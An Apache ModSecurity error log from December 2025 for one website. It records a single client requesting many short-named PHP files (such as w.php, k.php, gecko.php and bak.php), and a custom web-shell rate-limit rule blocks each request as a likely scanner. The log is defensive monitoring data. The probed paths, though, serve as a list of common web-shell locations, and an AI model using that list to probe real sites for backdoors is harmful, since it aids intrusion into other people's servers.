[Thu Dec 18 21:57:24.768609 2025] [:error] [pid 12239:tid 12264] [client 4.190.217.214:9180] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/let.php"] [unique_id "aUQIRNNnXxfGIuWO6akmgwAAApQ"]
[Thu Dec 18 21:57:25.112670 2025] [:error] [pid 24433:tid 24436] [client 4.190.217.214:13234] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/let.php"] [unique_id "aUQIRZ4pN9ycmipm8TjjGAAAAQA"]
[Thu Dec 18 21:57:25.572158 2025] [:error] [pid 12383:tid 12389] [client 4.190.217.214:13295] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/let.php"] [unique_id "aUQIRfdgllo9h1cyxGbPIwAAAsM"]
[Thu Dec 18 21:57:26.269993 2025] [:error] [pid 12239:tid 12252] [client 4.190.217.214:13292] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/let.php"] [unique_id "aUQIRtNnXxfGIuWO6akmiAAAAog"]
[Thu Dec 18 21:57:26.968247 2025] [:error] [pid 12239:tid 12266] [client 4.190.217.214:13253] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aUQIRtNnXxfGIuWO6akmigAAApY"]
[Thu Dec 18 21:57:27.811482 2025] [:error] [pid 12239:tid 12267] [client 4.190.217.214:13213] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aUQIR9NnXxfGIuWO6akmjwAAApc"]
[Thu Dec 18 21:57:28.357850 2025] [:error] [pid 12239:tid 12260] [client 4.190.217.214:13290] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aUQISNNnXxfGIuWO6akmkgAAApA"]
[Thu Dec 18 21:57:28.740270 2025] [:error] [pid 12239:tid 12250] [client 4.190.217.214:13274] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aUQISNNnXxfGIuWO6akmlAAAAoY"]
[Thu Dec 18 21:57:29.165886 2025] [:error] [pid 23558:tid 23627] [client 4.190.217.214:13184] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aUQISeHam9NbgPQa9uYxKAAAAMw"]
[Thu Dec 18 21:57:29.640284 2025] [:error] [pid 12383:tid 12394] [client 4.190.217.214:13246] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aUQISfdgllo9h1cyxGbPJQAAAsg"]
[Thu Dec 18 21:57:30.404687 2025] [:error] [pid 12239:tid 12251] [client 4.190.217.214:9155] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aUQIStNnXxfGIuWO6akmmQAAAoc"]
[Thu Dec 18 21:57:31.285968 2025] [:error] [pid 23558:tid 23636] [client 4.190.217.214:9171] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aUQIS-Ham9NbgPQa9uYxKQAAANU"]
[Thu Dec 18 21:57:31.894694 2025] [:error] [pid 23558:tid 23626] [client 4.190.217.214:9162] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pn.php"] [unique_id "aUQIS-Ham9NbgPQa9uYxKgAAAMs"]
[Thu Dec 18 21:57:32.233406 2025] [:error] [pid 12239:tid 12247] [client 4.190.217.214:13276] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pn.php"] [unique_id "aUQITNNnXxfGIuWO6akmnAAAAoM"]
[Thu Dec 18 21:57:33.105021 2025] [:error] [pid 12035:tid 12061] [client 4.190.217.214:9090] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pn.php"] [unique_id "aUQITbcVHrNSHjCo-0qgcQAAAhI"]
[Thu Dec 18 21:57:33.520151 2025] [:error] [pid 12383:tid 12393] [client 4.190.217.214:13260] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pn.php"] [unique_id "aUQITfdgllo9h1cyxGbPJwAAAsc"]
[Thu Dec 18 21:57:34.048999 2025] [:error] [pid 25357:tid 25374] [client 4.190.217.214:13199] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aUQIToaT7bsEXnJVfJd1gwAAAc8"]
[Thu Dec 18 21:57:35.587219 2025] [:error] [pid 23645:tid 23654] [client 4.190.217.214:13215] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aUQITzf_Rx0Y0ao_QJhngQAAAIc"]
[Thu Dec 18 21:57:35.956246 2025] [:error] [pid 23558:tid 23618] [client 4.190.217.214:13293] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aUQIT-Ham9NbgPQa9uYxMQAAAMM"]
[Thu Dec 18 21:57:36.303526 2025] [:error] [pid 23558:tid 23628] [client 4.190.217.214:13233] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aUQIUOHam9NbgPQa9uYxNQAAAM0"]
[Thu Dec 18 21:57:36.800811 2025] [:error] [pid 25357:tid 25363] [client 4.190.217.214:13272] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abe.php"] [unique_id "aUQIUIaT7bsEXnJVfJd1hQAAAcQ"]
[Thu Dec 18 21:57:37.339514 2025] [:error] [pid 23556:tid 23583] [client 4.190.217.214:13270] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abe.php"] [unique_id "aUQIURnmLlk3u5yt9kHzNQAAABc"]
[Thu Dec 18 21:57:37.900624 2025] [:error] [pid 23556:tid 23576] [client 4.190.217.214:13244] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abe.php"] [unique_id "aUQIURnmLlk3u5yt9kHzNgAAABA"]
[Thu Dec 18 21:57:38.299755 2025] [:error] [pid 12383:tid 12396] [client 4.190.217.214:13259] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abe.php"] [unique_id "aUQIUvdgllo9h1cyxGbPLAAAAso"]
[Thu Dec 18 21:57:38.644497 2025] [:error] [pid 24542:tid 24547] [client 4.190.217.214:13218] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aUQIUktQz4H2oS3NrDYrGAAAAUM"]
[Thu Dec 18 21:57:39.179389 2025] [:error] [pid 12383:tid 12397] [client 4.190.217.214:9159] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aUQIU_dgllo9h1cyxGbPLQAAAss"]
[Thu Dec 18 21:57:39.650740 2025] [:error] [pid 23558:tid 23635] [client 4.190.217.214:13241] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aUQIU-Ham9NbgPQa9uYxPQAAANQ"]
[Thu Dec 18 21:57:40.102187 2025] [:error] [pid 23645:tid 23664] [client 4.190.217.214:13235] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aUQIVDf_Rx0Y0ao_QJhnigAAAJE"]
[Thu Dec 18 21:57:40.528994 2025] [:error] [pid 23558:tid 23620] [client 4.190.217.214:13291] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aUQIVOHam9NbgPQa9uYxPgAAAMU"]
[Thu Dec 18 21:57:41.018639 2025] [:error] [pid 12035:tid 12062] [client 4.190.217.214:13196] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aUQIVbcVHrNSHjCo-0qggAAAAhM"]
[Thu Dec 18 21:57:41.616153 2025] [:error] [pid 12239:tid 12256] [client 4.190.217.214:9161] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aUQIVdNnXxfGIuWO6akmogAAAow"]
[Thu Dec 18 21:57:41.952258 2025] [:error] [pid 12383:tid 12403] [client 4.190.217.214:9088] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aUQIVfdgllo9h1cyxGbPMQAAAtE"]
[Thu Dec 18 21:57:42.389019 2025] [:error] [pid 12035:tid 12057] [client 4.190.217.214:9167] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aUQIVrcVHrNSHjCo-0qggwAAAg4"]
[Thu Dec 18 21:57:42.705314 2025] [:error] [pid 25357:tid 25364] [client 4.190.217.214:9170] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aUQIVoaT7bsEXnJVfJd1kAAAAcU"]
[Thu Dec 18 21:57:42.998475 2025] [:error] [pid 12239:tid 12249] [client 4.190.217.214:13300] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aUQIVtNnXxfGIuWO6akmpgAAAoU"]
[Thu Dec 18 21:57:43.402925 2025] [:error] [pid 23558:tid 23617] [client 4.190.217.214:13240] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aUQIV-Ham9NbgPQa9uYxQgAAAMI"]
[Thu Dec 18 21:57:43.668463 2025] [:error] [pid 12035:tid 12042] [client 4.190.217.214:9213] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cloud.php"] [unique_id "aUQIV7cVHrNSHjCo-0qghwAAAgA"]
[Thu Dec 18 21:57:44.017118 2025] [:error] [pid 12239:tid 12255] [client 4.190.217.214:13245] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cloud.php"] [unique_id "aUQIWNNnXxfGIuWO6akmqQAAAos"]
[Thu Dec 18 21:57:44.269982 2025] [:error] [pid 23556:tid 23582] [client 4.190.217.214:13220] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cloud.php"] [unique_id "aUQIWBnmLlk3u5yt9kHzPgAAABY"]
[Thu Dec 18 21:57:44.587660 2025] [:error] [pid 24433:tid 24451] [client 4.190.217.214:9185] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cloud.php"] [unique_id "aUQIWJ4pN9ycmipm8TjjHwAAAQ8"]
[Thu Dec 18 21:57:44.869510 2025] [:error] [pid 23556:tid 23570] [client 4.190.217.214:9183] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aUQIWBnmLlk3u5yt9kHzQAAAAAo"]
[Thu Dec 18 21:57:45.191891 2025] [:error] [pid 23558:tid 23632] [client 4.190.217.214:13228] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aUQIWeHam9NbgPQa9uYxSQAAANE"]
[Thu Dec 18 21:57:45.513458 2025] [:error] [pid 12239:tid 12261] [client 4.190.217.214:13214] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aUQIWdNnXxfGIuWO6akmrwAAApE"]
[Thu Dec 18 21:57:46.097849 2025] [:error] [pid 24958:tid 24962] [client 4.190.217.214:9189] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aUQIWskDOrUkd0wNm2HVsQAAAYE"]
[Thu Dec 18 21:57:46.488765 2025] [:error] [pid 23558:tid 23637] [client 4.190.217.214:13302] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aUQIWuHam9NbgPQa9uYxUAAAANY"]
[Thu Dec 18 21:57:46.773590 2025] [:error] [pid 25357:tid 25383] [client 4.190.217.214:13250] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aUQIWoaT7bsEXnJVfJd1kQAAAdg"]
[Thu Dec 18 21:57:47.198869 2025] [:error] [pid 23558:tid 23617] [client 4.190.217.214:13266] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aUQIW-Ham9NbgPQa9uYxUQAAAMI"]
[Thu Dec 18 21:57:47.557431 2025] [:error] [pid 23556:tid 23571] [client 4.190.217.214:13271] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aUQIWxnmLlk3u5yt9kHzSAAAAAs"]
[Thu Dec 18 21:57:48.016290 2025] [:error] [pid 23556:tid 23563] [client 4.190.217.214:13279] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aUQIXBnmLlk3u5yt9kHzTQAAAAM"]
[Thu Dec 18 21:57:48.324617 2025] [:error] [pid 23556:tid 23562] [client 4.190.217.214:13229] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aUQIXBnmLlk3u5yt9kHzUAAAAAI"]
[Thu Dec 18 21:57:48.655784 2025] [:error] [pid 23556:tid 23561] [client 4.190.217.214:13209] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aUQIXBnmLlk3u5yt9kHzUgAAAAE"]
[Thu Dec 18 21:57:49.014021 2025] [:error] [pid 23558:tid 23625] [client 4.190.217.214:13289] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aUQIXeHam9NbgPQa9uYxVAAAAMo"]
[Thu Dec 18 21:57:49.272005 2025] [:error] [pid 23558:tid 23624] [client 4.190.217.214:9165] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aUQIXeHam9NbgPQa9uYxVQAAAMk"]
[Thu Dec 18 21:57:49.550601 2025] [:error] [pid 12383:tid 12410] [client 4.190.217.214:9192] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aUQIXfdgllo9h1cyxGbPMwAAAtg"]
[Thu Dec 18 21:57:49.991302 2025] [:error] [pid 23645:tid 23668] [client 4.190.217.214:13222] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aUQIXTf_Rx0Y0ao_QJhnkAAAAJU"]
[Thu Dec 18 21:57:50.246598 2025] [:error] [pid 23645:tid 23648] [client 4.190.217.214:9176] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aUQIXjf_Rx0Y0ao_QJhnlAAAAIE"]
